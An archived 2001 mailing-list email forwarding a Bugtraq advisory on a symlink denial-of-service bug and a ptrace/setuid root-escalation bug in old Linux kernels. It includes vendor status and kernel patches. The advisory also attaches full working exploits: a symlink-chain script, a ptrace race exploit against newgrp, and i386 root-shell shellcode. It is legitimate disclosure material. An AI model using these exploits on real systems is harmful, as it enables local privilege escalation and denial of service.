No subject
Fri Jan 31 06:23:24 EST 2014
>From suter Tue Oct 23 20:31:39 2001
Return-Path: <owner-general at lists.humbug.org.au>
Received: from diadora.client.uq.net.au (IDENT:root at diadora-2 [10.0.1.2])
by zwitterion.humbug.org.au (8.12.1/8.12.1/Debian -2) with ESMTP id f9NAVcpU024227
for <suter at zwitterion.humbug.org.au>; Tue, 23 Oct 2001 20:31:38 +1000
Received: from caliburn.humbug.org.au (caliburn.humbug.org.au [203.15.51.6])
by diadora.client.uq.net.au (8.12.1/8.12.1/Debian -2) with ESMTP id f9NAVbXq022217
for <suter at zwitterion.humbug.org.au>; Tue, 23 Oct 2001 20:31:37 +1000
Received: from mdlishum by caliburn.humbug.org.au with local (Exim 3.03 #1)
id 15uNML-000Iv9-00
for general-outgoing at lists.humbug.org.au; Fri, 19 Oct 2001 10:17:57 +1000
Received: from [139.130.74.232] (helo=blake.timetraveller.org)
by caliburn.humbug.org.au with esmtp (Exim 3.03 #1)
id 15uNMC-000Iuh-00
for general at humbug.org.au; Fri, 19 Oct 2001 10:17:48 +1000
Received: from avon.timetraveller.org (robert at avon.timetraveller.org [203.46.133.200])
by blake.timetraveller.org (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id KAA12593
for <general at humbug.org.au>; Fri, 19 Oct 2001 10:11:25 +1000
Date: Fri, 19 Oct 2001 10:10:20 +1000 (EST)
From: Robert Brockway <robert at timetraveller.org>
To: HUMBUG General List <general at humbug.org.au>
Subject: [H-GEN] Flaws in recent Linux kernels (fwd)
Message-ID: <Pine.LNX.3.96.1011019100830.4403M-600000 at avon.timetraveller.org>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY=6TrnltStXW4iwmi0
Content-ID: <Pine.LNX.3.96.1011019100830.4403N at avon.timetraveller.org>
Sender: owner-general at lists.humbug.org.au
Precedence: bulk
Reply-To: general at lists.humbug.org.au
X-Loop: general at lists.humbug.org.au
List-Help: <mailto:majordomo at lists.humbug.org.au?subject=help>
List-Post: <mailto:general at lists.humbug.org.au>
List-Subscribe: <mailto: general-request at lists.humbug.org.au?subject=subscribe>
List-Id: semi-serious discussions about Humbug and Unix-related topics <general at lists.humbug.org.au>
List-Unsubscribe: <mailto: general-request at lists.humbug.org.au?subject=unsubscribe>
List-Archive: <http://archive.humbug.org.au/humbug-general/>
Status: RO
Content-Length: 13517
Lines: 432
[ Humbug *General* list - semi-serious discussions about Humbug and ]
[ Unix-related topics. Please observe the list's charter. ]
[ Worthwhile understanding: http://www.humbug.org.au/netiquette.html ]
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime at docserver.cac.washington.edu for more info.
--6TrnltStXW4iwmi0
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403O at avon.timetraveller.org>
Vulnerabilites in older Linux kernels. It seems the newer ones are fine.
What better reason to upgrade! :)
Rob
-- Robert Brockway B.Sc. email: robert at timetraveller.org ICQ: 104781119
Linux counter project ID #16440 (http://www.li.org)
blake: up 4 days, 16:58, 3 users, load average: 0.00, 0.00, 0.00
"The earth is but one country and mankind its citizens" -Baha'u'llah
---------- Forwarded message ----------
Date: Thu, 18 Oct 2001 17:35:40 +0000
From: Rafal Wojtczuk <nergal at 7bulls.com>
To: bugtraq at securityfocus.com
Subject: Flaws in recent Linux kernels
Hello,
There are two bugs present in Linux kernels 2.2.x, x<=19 and 2.4.y,
y<=9. The first vulnerability results in local DoS. The second one,
involving ptrace, can be used to gain root privileges locally (in case of
default install of most popular distributions). Linux 2.0.x is not vulnerable
to the ptrace bug mentioned.
I. Local DoS via deep symlinks
An attacker can force the kernel to spend almost
arbitrary amount of time on dereferencing a single symlink, which prevents
other processes from running. The attached
script, mklink.sh, takes a single
parameter N. The script creates 5 symlinks, each of
them containing 2*N+1 path elements. When N=3, the symlinks look this way:
$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here
The amount of time the command "head l0" consumes (measured with time(1))
follows:
N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s
When "head l0" is being executed, other processes are not scheduled to
run. Thus the possibility of local DoS (in case of SMP you may need to spawn
one mklink.sh process per cpu). The time spent on dereferencing "l0" is
proportional to the number of path elements in normalized "l0". So, when
N=120, the scheduler should be locked out for about three hours. One can
reach N=600, in case of 2.4.9; also in case of 2.4.9, one can create even more
(up to eight) levels of symlinks.
2.4.10 fixed this problem, but not completely. Under 2.4.10 "head
l0" command would not block the scheduler, but it cannot be killed. The
problem is fully solved in 2.4.12.
II. Root compromise by ptrace(3)
In order for this flaw to be exploitable, /usr/bin/newgrp must be
setuid root and world-executable. Additionally, newgrp, when run with no
arguments, should not prompt for password. This
conditions are satisfied in case of most popular Linux distributions (but
not Openwall GNU/*/Linux).
Suppose the following flow of execution (initially, Process 1 and
Process 2 are unprivileged):
Time Process 1 Process 2
0 ptrace(PTRACE_ATTACH, pid of Process 2,...)
1 execve /usr/bin/newgrp
2 execve /any/thing/suid
3 execve default user shell
4 execve ./insert_shellcode
The unexpected happens at moment 2. Process 2 is still traced, execve
/any/thing/suid succeeds, and the setuid bit is honored ! This is so
because
1) the property of "having an ptrace-attached child" survives the execve
2) at moment 2, the tracer (process 1) has CAP_SYS_PTRACE set (well, has all
root privs), therefore it is allowed to trace even execve of setuid binary.
In moment 3, newgrp executes a shell, which is an usual behavior.
This shell is still able to control the process 2 with ptrace. Therefore, the
"./insert_shellcode" binary is able to insert arbitrary code into the address
space of Process 2. Game over.
In order to exploit this kernel vulnerability, one needs a setuid
root binary which execs an user-defined binary (or a shell). Newgrp is
appropriate on most distributions. On default install of slackware it does
not work (the password fields in /etc/group are empty, and newgrp demands a
password). However, one can use "su" on this distribution. "su"
binary is compiled without PAM support on slackware, therefore it execs an
user shell.
Do you remember the exploit against *BSD procfs, published in
January 2000 (http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=43189) ?
This one is very similar; a setuid binary is spawned so that the system treats
it as a tracing process. Observe that in case of newgrp, only CAP_SYS_SETGID
is required (plus probably some reserved egid E to read gshadow; provided that
gshadow would be readable by gid E). If the file system supported granting
capabilities to programs (not only +s bit), this bug could have been benign.
Similarly, "su" needs only CAP_SYS_SETUID+CAP_SYS_SETGID (and egid shadow).
The "least privilege" rule, strictly applied, can save from a lot of
unexpected trouble.
This bug seems to be Linux-specific. I have tested FreeBSD, OpenBSD
and [older versions of] Irix and Solaris. None of the tested systems
honored setuid bit when an executing process was traced, even when the
tracer was root.
III. Vendor status
The kernel developers were notified on 18th September.
vendor-sec at lists dot de was notified on 9th October.
IV. Availability of patches.
2.4.12 kernel fixes both presented problems. The attached patches,
2.2.19-deep-symlink.patch and 2.2.19-ptrace.patch, both blessed by Linus,
can be used to close the vulnerability in 2.2.19. The (updated)
Openwall GNU/*/Linux kernel patches can be retrieved from
http://www.openwall.com/linux/
Note that the default Owl installation is not vulnerable to the ptrace bug
described.
V. The exploits
The attached mklink.sh script creates malicious symlinks.
ptrace-exp.c and insert_shellcode.c exploit the ptrace bug on i386
architecture. You will probably need to adjust #define in the latter. Note
that ptrace-exp uses LD_DEBUG variable to force a setuid program to generate
output. This technique (stderr redirected to a pipe, LD_DEBUG set, especially
LD_DEBUG=symbols) allows for forced suspending of a setuid binary in a
precisely determined moments, which may be helpful to build exploits which
rely on race-conditions. And finally, notice that under Owl LD_DEBUG is
ignored in case of suid binaries.
Save yourself,
Nergal
http://www.7bulls.com
--6TrnltStXW4iwmi0
Content-Type: TEXT/X-CSRC; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403P at avon.timetraveller.org>
Content-Description:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */
char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
perror("PTRACE_GETREGS");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
}
--6TrnltStXW4iwmi0
Content-Type: TEXT/X-SH; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403Q at avon.timetraveller.org>
Content-Description:
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
--6TrnltStXW4iwmi0
Content-Type: TEXT/X-CSRC; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403R at avon.timetraveller.org>
Content-Description:
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl("/usr/bin/passwd", "passwd", 0);
perror("execl");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec ./insert_shellcode %i\n", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl("/usr/bin/newgrp", "newgrp", 0);
}
--6TrnltStXW4iwmi0
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403S at avon.timetraveller.org>
Content-Description:
--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
result->d_op->d_revalidate(result, flags);
return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */
static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@
if ((follow & LOOKUP_FOLLOW)
&& inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
struct dentry * result;
- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
/* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
dput(dentry);
return result;
}
@@ -324,6 +337,8 @@
struct dentry * dentry;
struct inode *inode;
+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
if (*name == '/') {
if (base)
dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY (2)
#define LOOKUP_SLASHOK (4)
#define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)
extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);
--6TrnltStXW4iwmi0
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.LNX.3.96.1011019100830.4403T at avon.timetraveller.org>
Content-Description:
diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c Tue Oct 9 05:00:50 2001
@@ -552,12 +645,11 @@
}
/*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
*/
static inline int must_not_trace_exec(struct task_struct * p)
{
- return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+ return (p->flags & PF_PTRACED);
}
/*
--6TrnltStXW4iwmi0--
--
* This is list (humbug) general handled by majordomo at lists.humbug.org.au .
* Postings to this list are only accepted from subscribed addresses of
* lists 'general' or 'general-post'.
More information about the General
mailing list